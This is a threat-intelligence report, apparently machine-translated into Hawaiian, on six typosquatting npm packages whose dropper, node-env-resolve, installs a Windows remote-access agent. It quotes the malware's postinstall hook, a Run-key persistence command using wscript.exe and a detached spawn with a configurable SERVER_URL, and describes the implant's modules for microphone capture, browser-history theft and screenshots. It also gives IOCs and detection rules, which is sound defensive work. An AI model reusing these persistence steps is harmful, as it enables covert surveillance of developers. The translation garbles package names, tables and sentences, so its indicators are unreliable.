Hoʻouka Typosquatting npm DevTap

Hoʻouka ʻana o DevTap npm Typosquatting: ʻEono mau pūʻolo ʻino e kuhikuhi ana i nā kikowaena hana hoʻomohala

Aku; DR

Ma waena o ʻApelila 1 a me Mei 3, 2026, hoʻokahi mea hoʻopuka npm, user0001, i hoʻopaʻa inoa ʻia me ka helu wahi Gmail i hōʻoia ʻole ʻia tanvisoul9@gmail.com, ua hoʻokuke mālie i ʻeono mau pūʻolo me nā inoa palupalu, kani like me ke kahua: centralogger, dom-utils-lite, node-fetch-lite, connector-agent, node-gyp-runtime, a node-env-resolve.

ʻO nā mana ʻelua hou loa o node-env-resolve, 1.0.7 a me 1.0.8, ua hōʻailona ʻia e ka ʻōnaehana Malware Early Warning (MEW) a Xygeni ma Mei 2 a ua hōʻoia ʻia he ʻino ma Mei 3.

He mea ʻokoʻa ka implant no ka mea ʻaʻole ia: ʻaʻohe bots Telegram, ʻaʻohe callbacks OAST, ʻaʻohe ka holoʻokoʻa, a ʻaʻohe hoʻāʻo e hopu i nā palapala hōʻoia AWS i ka manawa hoʻokomo. Akā, postinstall.js kanu i kahi komo hoʻomau-boot Windows, me ka hoʻohana ʻana i kahi kī HKCU Run e hoʻomaka ana wscript.exe e kūʻē i kahi stub VBS. A laila hoʻopuka ia i kahi ʻelele Node.js i hoʻokaʻawale ʻia e hoʻopili i nā modula no ka hopu ʻana i ka microphone, ka ʻaihue mōʻaukala polokalamu kele pūnaewele, ka paʻi kiʻi, a me ka hoʻohālike ʻiole/papa kī.

Ke kapa nei mākou i kēia hui Pākuʻi Hoʻololi, ma hope o ka pahu hana, e holo ana ia ma ka mīkini a ka mea hoʻomohala.

Ua ola nā pūʻolo ʻeono a pau ma ka npm i ka wā kākau. Ua waiho mākou iā lākou i ke kahawai hana ʻino o ke keʻena hoʻopaʻa inoa. Pono nā mea pale e huki i nā hoʻonohonoho āpau mai ka mea hoʻopuka e kali ana i ka wehe ʻana.

ʻO ka Hui: ʻEono Pūʻolo, Hoʻokahi Mea Hoʻopuka

Ka moʻokāki hoʻopuka user0001 ʻaʻole i hōʻoia ʻia. ʻAʻohe ona SCM hōʻoia, ʻaʻohe leka uila i hoʻopaʻa ʻia i ka kikowaena, a ʻaʻohe mōʻaukala mua. ʻO ka lawelawe Gmail tanvisoul9 ʻaʻole ʻike ʻia ma kekahi moʻolelo hoʻopuka npm ʻē aʻe i hiki iā mākou ke loaʻa.

Hoʻopaʻa inoa nā pūʻolo ʻeono i ka mea mālama like, ua paʻi ʻia mai ka moʻokāki like, a kaʻana like i ka mea like package.json papa paila. ʻAʻohe repository, ʻaʻole homepage, aʻaʻole description ʻoi aku ka lōʻihi ma mua o hoʻokahi laina.

ʻO ke ʻano hoʻolālā inoa ka ʻāpana hoihoi. ʻAʻole e like me kahi hoʻolaha hilinaʻi-huikau a typosquat paha, ʻaʻohe o kēia mau inoa e kuhikuhi ana i kahi waihona puke kikoʻī ma luna. Akā, ua hoʻoponopono ʻia lākou e nalo i loko o kahi mea maoli package.json or npm ls huahana.

pūʻoloKau muaʻiaHōʻike Houwale nōKūlana ma ka Hui
mea hoʻopaʻa kikowaena2026-04-01 12:46 UTC1.0.95, mai 1.0.5 a i 1.0.9Uhi "mea hana logging" o ka Cluster; paʻi mua loa
dom-utils-lite2026-04-14 07:36 UTC1.0.33Uhi kōkua DOM maʻamau
node-fetch-lite2026-04-19 10:22 UTC1.0.23Hoʻohālike i ka ʻohana node-fetch
mea hoʻohui2026-04-25 05:12 UTC1.0.01ʻAgent inoa maʻamau
manawa holo node-gyp2026-04-25 05:17 UTC1.0.01Hoʻohālike i nā mea hana kūkulu modula ʻōiwi
node-env-resolve2026-04-25 05:21 UTC1.0.910, mai 1.0.0 a i 1.0.9Mea hoʻokuʻu ikaika; mea hoʻokomo piha

Nā inoa e like centralogger, node-fetch-lite, a node-gyp-runtime ua hoʻolālā ʻia e nānā ʻaʻohe hoʻopaʻapaʻa i ka loiloi code. Ke kani nei lākou e like me nā mea e kū nei i loko o ka lāʻau hilinaʻi o kahi papahana.

I hui pū ʻia me kahi mea hoʻopuka hou, ʻaʻole i hōʻoia ʻia a me nā loulou waihona i nalowale, hana lākou i kahi ʻano i ʻike ʻia: kahi mea hana keaka e lūlū ana i nā inoa haʻahaʻa haʻalulu i loko o ka papa inoa, a laila hana wikiwiki i ka mea nui. I kēia hihia, node-env-resolve ua loaʻa iā ia he ʻumi mau mana i loko o nā lā ʻewalu.

He aha ka mea e pae ana ma kahi pahu Windows Dev

ʻO ke kaulahao ʻino ma luna node-env-resolve:1.0.8 he pōkole, pololei, a waiwai nui i nā hiʻohiʻona no kahi npm RAT.

Hoʻouka ma hope: Hoʻomau a me ka Luna Hoʻokaʻawale

package.json hoʻolaha i kahi makau hoʻonohonoho hoʻokahi:

{ "scripts": { "postinstall": "node postinstall.js" } }

postinstall.js hana i ʻekolu mau mea ma ke kaʻina.

ʻO ka mea mua, hoʻonohonoho ia i kahi papa kuhikuhi hoʻonohonoho ma waho o ka lāʻau npm. Hoʻomaulia ʻia ke ala i ka wā holo ma ke ʻano he INSTALL_DIRA laila holo ia i kahi hana kūloko execSync('npm install --production --silent ...') i loko e huki i nā hilinaʻi runtime o ka implant. Hoʻokomo kēia i ka ʻākena ma kahi disk ma kahi manual node_modules ʻaʻole e loaʻa ka loiloi.

ʻO ka lua, kākau ia i kahi mea hoʻolaha VBS a hoʻopaʻa inoa iā ia no ka hoʻomau ʻana o ka boot:

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run \     /v ${AGENT_NAME} \     /t REG_SZ \     /d "wscript.exe \"${vbsPath}\"" /f

wscript.exe ʻo ia ka Windows Script Host, kahi binary Microsoft i kau inoa ʻia e holo ana .vbs nā faila me ka ʻole o ka puka makani console. ʻO ia ka mea muacisʻO ia ke kumu i makemake nui ʻia ai no nā ʻōpala autorun.

Aia pū kekahi hoʻohālikelike reg delete ala i loko src/index.js, e hōʻike ana ua hoʻolālā ʻia ka implant e hiki ke wehe maʻalahi ʻia ma ke kauoha a ka mea hoʻohana.

ʻO ke kolu, hoʻopuka ia i kahi kaʻina hana keiki i hoʻokaʻawale ʻia:

spawn(node, [path.join(INSTALL_DIR, 'src/index.js')], {   detached: true,   env: { ...process.env, SERVER_URL } })

ʻElua mau kikoʻī he mea nui ma ʻaneʻi.

SERVER_URL ua heluhelu ʻia mai ke kaiapuni. ʻO ka hopena, hiki ke hoʻonohonoho ʻia ka hopena C2 no kēlā me kēia hoʻolaha ʻana a ʻaʻole i hoʻokomo ʻia i loko o ka pūʻolo. ʻO kēlā koho liʻiliʻi akā noʻonoʻo ʻia e lanakila ana i ka hapa nui o nā sweep static-IOC.

Eia kekahi, hoʻoilina ke keiki i hānau ʻia i ke kaiapuni makua piha. No laila, kekahi NPM_TOKEN, AWS_*, GITHUB_TOKEN, a i ʻole ka SSH-agent socket i loko o ka pūpū hoʻomohala i ka manawa hoʻouka e hele ana i loko o ka hoʻomanaʻo o ka ʻelele lōʻihi.

Nā mea a ka Luna e hoʻouna aku ai

ʻO ka mea i hoʻopili ʻia src/ ʻEkolu mau modula o ka lāʻau nona nā inoa wale nō e haʻi mai ana i ka moʻolelo: audioCapture.js, browserHistory.js, a systemInfo.js.

ʻO ka papa inoa hilinaʻi runtime, i hoʻoholo ʻia i ka wā o ke kahua npm install, hōʻoia iā lākou.

Hoʻololi kēia ʻano hana i kahi hanana haunaele i kahi pane i kāohi ʻia.

Ma kahi o ka pane makapō ʻana, hana nā hui me ka hoʻonohonoho mua ʻana a me ka hoʻoponopono wikiwiki.

KūlanaHe aha ia ma kēia pōʻaiapili
kiʻi-papapihiKa hopu ʻana i ka pale i kēlā me kēia manawa
@nut-tree-fork/nut-jsHoʻohālike hana pono ʻana o ka ʻiole a me ka papa kīpē / hoʻokomo
ʻoi aku ka maikaʻi o sqlite3Heluhelu pololei i nā waihona ʻikepili SQLite Chrome, Edge, a me Firefox History
adm-zipHoʻopili ʻana i nā mea hana i hōʻiliʻili ʻia ma mua o ke kālai ʻia ʻana
oiHoʻololi i ka nui / hoʻopili ʻana i nā kiʻi paʻi a me nā mea hana kiʻi
mea kūʻai aku socket.ioKanal C2 bidirectional mau loa
node-mīkini-idPaʻa ka manamana lima no kēlā me kēia kikowaena no ka hahai ʻana i ka mea i hōʻeha ʻia

systemInfo.js Kāhea os.networkInterfaces() no ka nānā ʻana i nā manamana lima hou aʻe ma mua o ke kukui mua.

No ke aha i lilo ai ka hopu leo ​​i hōʻailona kū i waho

ʻO ka hapa nui o nā RAT npm a mākou e hoʻokaʻawale ai ma MEW e hoʻōki i ka ʻaihue huna manawa hoʻonohonoho. Heluhelu lākou ~/.npmrc, heluhelu ~/.aws/credentials, ʻōpala process.env, POST i kahi webhook, a puka i waho. Kūpono kēlā i kahi kumu hoʻohālike waiwai smash-and-grab. He pōkole ka hapalua ola o nā palapala hōʻoia, a pono ka mea hoʻouka e loaʻa kālā koke.

node-env-resolve he ʻokoʻa ke ʻano.

Ua hoʻonohonoho ʻia ke kūpaʻa e ola i ka reboot. Holo ka ʻākena me ka ʻole o ka hoʻokaʻawale ʻana a ola lōʻihi ma lalo o wscript.exeʻO ka pahu hana āna e lawe nei no ke kau ʻana ma laila ma ka mīkini a ka mea hoʻomohala, ʻaʻole no ka hopu ʻana a me ka haʻalele ʻana: kahi mea hoʻopaʻa leo microphone, kahi mea hoʻokele keyboard/ʻiole, ka hoʻokomo ʻana i ka mōʻaukala polokalamu kele pūnaewele piha, ka hopu ʻana i ka pale, a me kahi kahawai Socket.IO interactive i kahi C2 hiki ke hoʻonohonoho ʻia.

ʻO ka hopu ʻana i ka microphone ma ke ʻano kūikawā ka laina e keʻa ai kēia hoʻolaha ʻaʻole i hana ʻia e ka hapa nui o nā polokalamu npm.

ʻO kahi kahua hana hoʻomohala, ʻo ia hoʻi ke kahua hana kahi e kū ai nā mea hoʻomohala, nā kelepona a nā mea kūʻai aku, nā kūkākūkā hoʻolālā, a me nā alahaka ma ke kelepona. ʻAʻole ma hope o ka hōʻailona npm a ka mea hoʻomohala kahi i hoʻokomo ʻia ai ka microphone. Ma hope o ka mea a ka mea hoʻomohala e ʻōlelo ai i mua o ka kamepiula lawe lima.

ʻO kēlā pūʻulu hiki, me ka nele o ka obfuscation a me ka nele o kekahi exfiltration manawa hoʻonohonoho flashy, heluhelu ʻia ma ke ʻano he pre-positioning no ke komo ʻana i kuhikuhi ʻia ma mua o ka ʻaihue hōʻoia kūpono.

ʻAʻole mākou e hōʻoia ana i ka hāʻawi ʻana mai kēia wale nō. Ke hoʻomaopopo nei mākou i ka ʻikepili hana.

hoʻouka typosquatting npm - DevTab

ʻO ke kaʻina hana hou ʻewalu lā ma node-env-resolve ʻo ia ka ʻikepili koʻikoʻi loa o ka hana ma ka papa manawa.

ʻAʻole kēia he hāʻule ahi-a-poina. Ke mālama nei ka mea hoʻopuka i ka dropper, ʻo ia hoʻi kekahi o nā mea ʻelua. Ke hoʻonohonoho nei lākou iā ia i nā wahi hoʻāʻo ma mua o ka hoʻolaha ākea ʻana, a i ʻole ua hoʻi mai kā lākou telemetry hoʻonohonoho a ke pane nei iā ia.

ʻAʻole i ʻike ʻia nā pūʻolo ʻelima ʻē aʻe i kahi churn ma hope o kā lākou hoʻopuka mua ʻana. Kūpono kēlā i kahi ʻano "kahua hoʻokahi, haʻalele i kapa ʻia" no ka hui kākoʻo ʻoiai ke kālele nei ka hana ʻenekinia i ka pūʻolo e hana ana i ka hana.

Kuhi: Nā Hōʻailona Liʻiliʻi, ʻAʻohe ʻŌlelo Hoʻoholo Paʻa

Public Kaukau he lahilahi nā hōʻailona, ​​a ʻaʻole mākou e hoʻolōʻihi iā lākou. He aha ka mea i ʻike ʻia:

ʻO ka lawelawe Gmail tanvisoul9 ua like iki me kahi inoa i hāʻawi ʻia ma ʻAsia Hema, ʻo "Tanvi." He hōʻailona nāwaliwali kēia. ʻAʻole nā ​​​​​​lima Gmail he ʻike, a ʻo ka hope soul9 he laulā. ʻAʻole palekana ke kuhi i ka ʻike honua mai kahi leka uila kūloko wale nō.

ʻAʻole kupaianaha ke ʻano o ke code Node.js: standard nā kāhea hale waihona puke e like me os, child_process, spawn, a reg addʻAʻohe obfuscation, ʻaʻohe string rotation, a ʻaʻohe logic anti-debug. Ua ʻoluʻolu ka mea kākau me nā primitives registry Windows a me ka hoʻonohonoho ʻana o ke kaʻina hana detached-child, akā ʻaʻole ʻike ʻia e ʻimi ana i nā hana kālepa malū a lākou e hoʻohana nei.

ʻAʻole hiki ke hoʻopau ʻia nā mea hilinaʻi a ua ʻike nui ʻia: screenshot-desktop, nut-js, better-sqlite3, a socket.io-clientʻAʻohe protocol maʻamau, ʻaʻohe C2 stack i ʻōwili ʻia mai ka wā ʻōpiopio, a ʻaʻohe hana hoʻomau hou ma mua o kahi puke aʻo. Kī Holo HKCUHe mea hoʻohui mākaukau kēia, ʻaʻole he mea kākau mea hana.

ʻAʻole mākou i loaʻa i nā kaula ʻaʻole Pelekania, nā manaʻo i hoʻokomo ʻia, ka ʻikepili kūloko, a i ʻole nā ​​​​manamana lima manawa i hoʻopuka ʻia e ka mea hōʻuluʻulu manaʻo i loko o nā mea hana i paʻi ʻia.

Ua nānā mākou no ka hoʻopili ʻana o ke code me nā hoʻolaha mua a mākou e nānā nei, me Shai Hulud, ʻOlivion, Buildkite, a me ka heibai hou / claude-code-best ʻOhana clone Anthropic-CLI. ʻAʻohe a mākou i loaʻa: ʻaʻohe ʻano hoʻohālike C2 i kaʻana like ʻia, ʻaʻohe hoʻonohonoho faila i kaʻana like ʻia, a ʻaʻohe ʻōlelo i kaʻana like ʻia.

ʻO ka mea a mākou e ʻōlelo ʻole ai: he mea hana mokuʻāina kēia, he hui i ʻike ʻia, a i ʻole i hoʻopaʻa ʻia ma ke ʻano he ʻāina i kekahi ʻāina kikoʻī.

Ua kūlike ke ʻano hana me kahi hui liʻiliʻi a mākaukau iki e hana ana i ka nānā ʻana ma waena o nā mea hoʻomohala a me nā wahi hana. Ua hoʻoikaika ʻia paha ia ma ke kālā ma o ka hoʻohana ʻana i ke komo ʻana ma hope, akā hiki nō hoʻi ke hana i ka nānā ʻana ma ke ʻano he lawelawe no kahi mea kūʻai ʻokoʻa.

ʻElua mau kiko ʻaʻole pololei e kākoʻo ana i kēlā heluhelu: ka pale ʻana i nā mīkini exfiltration e hopu ana i ka manaʻo e puhi koke i ka hui, e like me nā bots Telegram, oastify.com, a i ʻole nā ​​​​canarytokens, a me nā inoa pūʻolo palaka, ka mea e makemake ai i nā hoʻonohonoho huelo lōʻihi mālie ma mua o kahi piʻi nui pōkole.

Nā Hōʻailona o ka Hoʻokuʻikahi a me ka ʻIke ʻana

Nā Pūʻolo a me ka Mea Hoʻopuka
FieldValue
mea hoʻopuka npmmea hoʻohana0001
Leka uila a ka mea hoʻopukatanvisoul9@gmail.com, ʻaʻole i hōʻoia ʻia
pūʻolo helukikowaena, dom-utils-lite, node-fetch-lite, mea hoʻohui-ʻelele, node-gyp-runtime, node-env-resolve
Ua hōʻoia ʻia he ʻinonode-env-resolve@1.0.7, node-env-resolve@1.0.8
Nā Mea Hana Hoʻokipa
ʻAnoValue
Kī hoʻomauHKCU\Software\Microsoft\Windows\CurrentVersion\Run
Ka waiwai o ke kūpaʻaInoa loli; ʻikepili o ke ʻano wscript.exe " \\ .vbs"
E hoʻouka i ka makaupostinstall: node postinstall.js i loko o ka hōʻike pūʻolo
Nā modula hoʻokomosrc/audioCapture.js, src/browserHistory.js, src/systemInfo.js
Papa kuhikuhi hoʻonohonohoUa hoʻoholo ʻia ʻo INSTALL_DIR ma waho o ka node_modules o ka papahana; ua hoʻonohonoho ʻia kahi e postinstall.js i ka manawa hoʻokomo
Leakaʻaʻike
ʻAnoValue
Ka halihali C2socket.io-client, kahawai bidirectional mau loa
Ka hopena C2Hāʻawi ʻia i ka ʻelele ma o ka loli kaiapuni SERVER_URL; ʻaʻole i hoʻopaʻa ʻia i loko o nā mea hana i paʻi ʻia

Nā Memo ʻIke

ʻElua mau lula e hopu i kēia ʻohana me ka ʻole o ka pono o ka hopena C2.

ʻO ka mea mua, e hōʻailona i nā palapala postinstall e hana ana i kahi hana kūloko npm install i loko o kahi ala ma waho o ka papa kuhikuhi ponoʻī o ka pūʻolo. ʻO kēlā me kēia mea hoʻoiho prebuild kūpono, e like me node-gyp kūkulu hou a i ʻole nā ​​mea hoʻoiho binary i kūkulu mua ʻia, kākau i loko o ka pūʻolo a i ʻole i loko o ka paepae-standard nā ala cache me nā hashes i hōʻoia ʻia. ʻAʻole ia e kākau i loko o kahi mea i hana hou ʻia INSTALL_DIR ma kahi ʻē aʻe ma ka disk.

ʻO ka lua, e hōʻailona i nā palapala postinstall e hoʻopuka ana reg add HKCU\…\Run me wscript.exe ma ke ʻano he mea hoʻomaka. ʻAʻole loa kēia he mea kūpono mai kahi pūʻolo npm. E hōʻailona a hoʻokaʻawale iā ia.

He mea pono ke kolu o ka heuristic no ka ʻike ʻana i ka pūʻolo kaikaina aʻe ma mua o ka hōʻoia ʻia ʻana: kahi mea hoʻopuka npm hou me ka ʻole SCM hōʻoia, kahi leka uila Gmail, ʻaʻole repository kahua, a me nā inoa pūʻolo pōkole he nui, maʻamau, kani like me ke kahua i paʻi ʻia i loko o nā lā o kekahi me kekahi, ma ia iho, ua lawa ia e hōʻoia i ka loiloi lima.

Ua hōʻike ʻia i ke kāinoa npm. E hōʻano hou mākou i kēia pou ke wehe ʻia ka moʻokāki hoʻopuka.

nā mea hana-sca-tools-software-analysis-composition
E hoʻonohonoho i ka mea nui, hoʻoponopono, a hoʻopaʻa i kāu mau pilikia polokalamu
E kiʻi i kāu moʻokāki manuahi.
ʻAʻole koi ʻia kahi kāleka hōʻaiʻē.

E hoʻopaʻa i kāu Hoʻomohala Polokalamu a me ka Hoʻouna ʻana

me ka Xygeni Product Suite